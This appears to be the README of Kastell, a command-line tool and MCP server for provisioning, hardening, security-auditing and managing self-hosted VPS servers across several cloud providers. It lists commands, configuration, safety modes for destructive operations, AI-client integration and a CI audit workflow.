kastell snapshot create my-server # Create VPS snapshot (with cost estimate)
kastell snapshot list my-server # List snapshots
kastell snapshot list --all # List all snapshots across servers
kastell snapshot delete my-server # Delete a snapshotSecurity
kastell firewall status my-server # Check firewall
kastell firewall setup my-server # Configure UFW
kastell secure audit my-server # Security audit
kastell secure setup my-server # SSH hardening + fail2ban
kastell domain add my-server --domain example.com # Set domain + SSLSecurity Audit
kastell audit my-server # Full security audit (32 categories, 470+ checks)
kastell audit my-server --json # JSON output for automation
kastell audit my-server --threshold 70 # Exit code 1 if score below threshold
kastell audit my-server --fix # Interactive fix mode (prompts per severity)
kastell audit my-server --fix --dry-run # Preview fixes without executing
kastell audit my-server --watch # Re-audit every 5 min, show only changes
kastell audit my-server --watch 60 # Custom interval (60 seconds)
kastell audit --host [email protected] # Audit unregistered server
kastell audit my-server --badge # SVG badge output
kastell audit my-server --report html # Full HTML report
kastell audit my-server --score-only # Just the score (CI-friendly)
kastell audit my-server --summary # Compact dashboard view
kastell audit my-server --explain # Explain failed checks with remediation guidance
kastell audit my-server --compliance cis # Filter by compliance framework (cis-level1, cis-level2, pci-dss, hipaa)Security Hardening
kastell lock my-server # 24-step production hardening (SSH + UFW + sysctl + auditd + AIDE + Docker)
kastell lock my-server --dry-run # Preview hardening steps without applyingMonitor & Debug
kastell monitor my-server # CPU, RAM, disk usage
kastell logs my-server # View platform logs (Coolify or Dokploy)
kastell logs my-server -f # Follow logs
kastell health # Health check all servers
kastell doctor # Check local environmentSupported Providers
| Provider | Status | Regions | Starting Price |
|---|---|---|---|
| Hetzner Cloud | Stable | EU, US | ~€4/mo |
| DigitalOcean | Stable | Global | ~$18/mo |
| Vultr | Stable | Global | ~$12/mo |
| Linode (Akamai) | Beta | Global | ~$12/mo |
Prices reflect the cheapest plan with at least 2 GB RAM (required by Coolify and Dokploy). Bare mode has no minimum requirements -- plans start from ~$2.50/mo depending on provider. You can choose a different size during setup. Linode support is in beta -- community testing welcome.
Supported Platforms
| Platform | Mode Flag | Min RAM | Min CPU | Description |
|---|---|---|---|---|
| Coolify | --mode coolify (default) | 2 GB | 2 vCPU | Docker-based PaaS (port 8000) |
| Dokploy | --mode dokploy | 2 GB | 2 vCPU | Docker Swarm-based PaaS (port 3000) |
| Bare | --mode bare | — | — | Generic VPS, no platform overhead |
Kastell uses a PlatformAdapter architecture -- the same commands (update, maintain, logs, health) work across all platforms. The platform is stored in your server record and auto-detected on each command.
Developer Experience
| Feature | Command / Flag | Description | ||
|---|---|---|---|---|
| Dry Run | --dry-run | Preview destructive commands without executing. Available on: destroy, update, restart, remove, maintain, restore, firewall, domain, backup, snapshot, secure. | ||
| Shell Completions | `kastell completions bash\ | zsh\ | fish` | Generate shell completion scripts for tab-completion of commands and options. |
| Config Validation | kastell config validate | Check servers.yaml for structural and type errors using Zod strict schemas. | ||
| Version Check | kastell --version | Shows current version and notifies if a newer version is available on npm. |
YAML Config
Deploy with a single config file:
# kastell.yml
provider: hetzner
region: nbg1
size: cax11
name: my-coolify
fullSetup: true
domain: coolify.example.comkastell init --config kastell.ymlTemplates
| Template | Best For | Includes |
|---|---|---|
starter | Testing, side projects | 1-2 vCPU, 2-4 GB RAM |
production | Live applications | 2-4 vCPU, 4-8 GB RAM, full hardening |
dev | Development & CI/CD | Same as starter, no hardening |
kastell init --template production --provider hetznerSecurity
Kastell is built with security as a priority -- 11,206 tests across 344 suites, including dedicated security test suites.
- API tokens are never stored on disk -- prompted at runtime or via environment variables
- SSH keys are auto-generated if needed (Ed25519)
- All SSH connections use
StrictHostKeyChecking=accept-newwith IP validation (octet range) and environment filtering - Shell injection protection on all user-facing inputs (
spawn/spawnSync, noexecSync) - Provider error messages are sanitized to prevent token leakage
- stderr sanitization redacts IPs, home paths, tokens, and secrets from error output
- Config file token detection (22+ key patterns, case-insensitive, nested)
- Import/export operations strip sensitive fields and enforce strict file permissions (
0o600) --full-setupenables UFW firewall and SSH hardening automatically- MCP: SAFE_MODE (default: on) blocks all destructive operations, Zod schema validation on all inputs, path traversal protection on backup restore
- Claude Code hooks: destroy-block prevents accidental
kastell destroywithout--force, pre-commit audit guard warns on score drops - Zero Telemetry — Kastell collects no usage data, analytics, or telemetry. Your server data never leaves your machine.
Security behavior (v2.3.1)
This section documents security contracts shipped in v2.3.1. Future work is described elsewhere (see CHANGELOG.md for upcoming entries).
- `KASTELL_STRICT_HOST_KEY=true` — when set, Kastell rejects unknown SSH host keys outright. Direct SSH connections (i.e. those that go through
accept-new) emit a one-time Trust-On-First-Use (TOFU) warning so operators see the risk; combined withKASTELL_STRICT_HOST_KEY=true, the warning is promoted to a hard error. - Non-TTY destructive commands — in non-interactive environments (CI, scripts, automation), destructive operations require an explicit
--forceflag or the command's documented opt-in flag. Without one, the command exits with a non-zero status and a clear error. - Structured skipped checks — checks that are skipped (e.g. VPS-irrelevant, platform-mismatch, missing prerequisite) appear in audit output as a neutral, visible result rather than being silently dropped. Operators can see exactly which checks did not run and why.
- Windows secret files — secret-bearing files written by Kastell on Windows receive restrictive ACLs (owner-only access).
0o600POSIX permissions remain the source of truth on Linux/macOS; Windows uses the equivalent DACL. - QuickWin JSON shape —
audit --jsonQuickWin entries now include a stableid(check ID) andseverityfield, in addition to the existingdescriptionandcommands. This makes QuickWins programmatically consumable without parsing the human-readable description. - FORBIDDEN previews include reasons — when previewing fixes with
--dry-run(or viaserver_fixMCP dry-run), each FORBIDDEN-tier fix now renders a short reason explaining why the fix is classified FORBIDDEN (e.g. "requires reboot", "disrupts active SSH sessions"). The reason is sourced from the check'sforbiddenReasonfield.
Installation
# Run directly (recommended)
npx kastell <command>
# Or install globally
npm install -g kastell
kastell <command>Requires Node.js 20 or later.
Safety Modes
KASTELL_SAFE_MODE environment variable controls destructive operations:
- MCP default:
true—provision,destroy,restoreare blocked - CLI default:
false— all operations are enabled - Override:
KASTELL_SAFE_MODE=true kastell destroy <server>→ rejected
Affected commands: init, destroy, backup-restore, snapshot-restore, snapshot-delete, restart, maintain.
Troubleshooting
Server creation fails? Run kastell doctor --check-tokens to verify your API token and local environment.
Server not responding? Use kastell status my-server --autostart to check platform status and auto-restart if needed, or kastell health to check all servers at once.
Need to start fresh? kastell destroy my-server removes the cloud server entirely.
Contributing
See CONTRIBUTING.md for development setup, testing, and contribution guidelines.
Kastell uses 11,206 tests across 344 suites. Run npm test before submitting PRs.
MCP Server (AI Integration)
Kastell includes a built-in Model Context Protocol server for AI-powered server management. Works with Claude Code, Cursor, Windsurf, and other MCP-compatible clients.
{
"mcpServers": {
"kastell": {
"command": "npx",
"args": ["-y", "-p", "kastell", "kastell-mcp"],
"env": {
"HETZNER_TOKEN": "your-token",
"DIGITALOCEAN_TOKEN": "your-token",
"VULTR_TOKEN": "your-token",
"LINODE_TOKEN": "your-token"
}
}
}
}Available tools:
| Tool | Actions | Description |
|---|---|---|
server_info | list, status, health, sizes | Query server information, check cloud provider and platform status |
server_logs | logs, monitor | Fetch platform/Docker logs and system metrics via SSH |
server_manage | add, remove, destroy | Register, unregister, or destroy cloud servers |
server_maintain | update, restart, maintain | Update platform, restart servers, run full maintenance |
server_secure | secure, firewall, domain | SSH hardening, firewall rules, domain/SSL management (10 subcommands) |
server_backup | backup, snapshot | Backup/restore databases and create/manage VPS snapshots |
server_provision | create | Provision new servers on cloud providers |
server_audit | audit | 457+-check security audit with compliance framework filtering; use --explain for remediation guidance |
server_evidence | collect | Collect forensic evidence package with checksums |
server_guard | start, stop, status | Manage autonomous security monitoring daemon |
server_doctor | diagnose | Proactive health analysis with remediation commands |
server_lock | harden | 24-step production hardening (SSH, UFW, sysctl, auditd, AIDE, Docker) |
server_fleet | overview | Fleet-wide health and security posture dashboard |
server_fix | fix --safe | Apply safe auto-fixes with backup (SAFE tier only, dryRun default) |
All destructive operations (destroy, restore, snapshot-delete, provision, restart, maintain, snapshot-create) require SAFE_MODE=false to execute.Claude Code Plugin
Kastell is available as a Claude Code plugin for the Anthropic marketplace. The plugin bundles:
- 4 skills: kastell-ops (architecture reference), kastell-scaffold (component generation), kastell-careful (destructive op guard), kastell-research (codebase exploration)
- 2 agents: kastell-auditor (parallel audit analyzer), kastell-fixer (worktree-isolated auto-fix)
- 5 hooks: destroy-block, session-audit, session-log, pre-commit-audit-guard, stop-quality-check
Install via Claude Code plugin manager or use directly with claude --plugin-dir kastell-plugin.
MCP Platform Setup
| Platform | Config Location | Guide |
|---|---|---|
| Claude Code | claude mcp add or .mcp.json | Setup Guide |
| Claude Desktop | claude_desktop_config.json | Setup Guide |
| VS Code / Copilot | .vscode/mcp.json | Setup Guide |
| Cursor | .cursor/mcp.json | Setup Guide |
More platforms (JetBrains, Windsurf, Gemini, and others) coming in v2.0.
AI Discoverability
Kastell provides llms.txt for AI crawlers and is listed in the MCP Registry as io.github.kastelldev/kastell.
v2.3 Reliability Contracts
These contracts apply to the CLI and the MCP server.
Provisioning behavior
server_provision returns after the provider creates the server and Kastell durably registers it. readiness.status may be pending; follow with server_info status or server_info health. The interactive kastell init command continues waiting through its existing readiness checks.
Automation contracts
- Unsupported and failed CLI operations return exit code
1. - Valid empty results and user cancellation return
0. - Mixed
--allfailures return1. audit --jsonandaudit --cireserve stdout for one JSON payload.
CI/CD Integration
Use kastell audit in your CI pipeline to enforce security baselines:
# .github/workflows/security-audit.yml
name: Security Audit
on:
schedule:
- cron: '0 6 * * 1' # Weekly Monday 6 AM
workflow_dispatch:
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install -g kastell
- run: kastell audit --host root@${{ secrets.SERVER_IP }} --threshold 70 --json > audit-result.json
- uses: actions/upload-artifact@v4
with:
name: audit-report
path: audit-result.jsonThe --threshold flag causes a non-zero exit code when the score falls below the target, failing the CI job automatically.
What's Next
- Test Excellence: Mutation testing, coverage gaps, integration tests (v1.14)
- Plugin ecosystem with marketplace distribution (v2.0)
- Dashboard and managed service (v3.0)
Philosophy
Infrastructure should be boring, predictable, and safe.
Kastell is not a script. It's your DevOps safety layer for self-hosted infrastructure.
License
Apache 2.0 -- see LICENSE
Support
- GitHub Issues -- Bug reports and feature requests
- Changelog -- Version history
Built by @omrfc